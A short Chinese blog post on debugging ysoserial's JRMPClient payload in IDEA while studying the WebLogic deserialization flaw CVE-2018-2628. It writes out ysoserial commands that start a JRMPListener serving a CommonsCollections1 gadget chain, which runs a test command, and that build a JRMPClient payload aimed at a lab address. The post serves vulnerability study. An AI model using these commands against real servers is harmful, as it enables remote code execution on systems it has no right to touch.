前言
在尝试对cve-2018-2628反序列化漏洞做分析的时候,发现一个比较重要的概念是JRMP,而在ysoserial中已经实现了JRMP的客户端和服务端,所以想可以直接进行动态调试一下,大概了解下JRMP的机制,下面简单讲一下ysoserial的调试方法
调试步骤:
Cve-2018-2628需要开启JRMPListener以及JRMPClient,这里我以调试JRMPClient为例,参照前文的复现漏洞文章,查看其python的源码,可知其命令为
java -jar ./ysoserial-0.0.5-all.jar JRMPClient 192.168.96.111:1099
下载源码,使用idea导入ysoserial包,会自动下载相关依赖
这里注意,开启JRMPListener的命令为
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/sojrs.txt"
而启动JRMPClient为
java -jar ./ysoserial-0.0.5-all.jar JRMPClient 192.168.96.111:1099
表示JRMPListener在exploit相关目录
而JRMPClient在payload目录,这里注意下,因为在exploit目录同时存在JRMPListener和JRMPClient文件,我们调试是对payload目录下的进行调试
然后配置JRMPClient参数为JRMPClient 192.168.96.111:1099
现在debug,就能正常断点,进行动态调试了,可以看到,我们的参数已经传入成功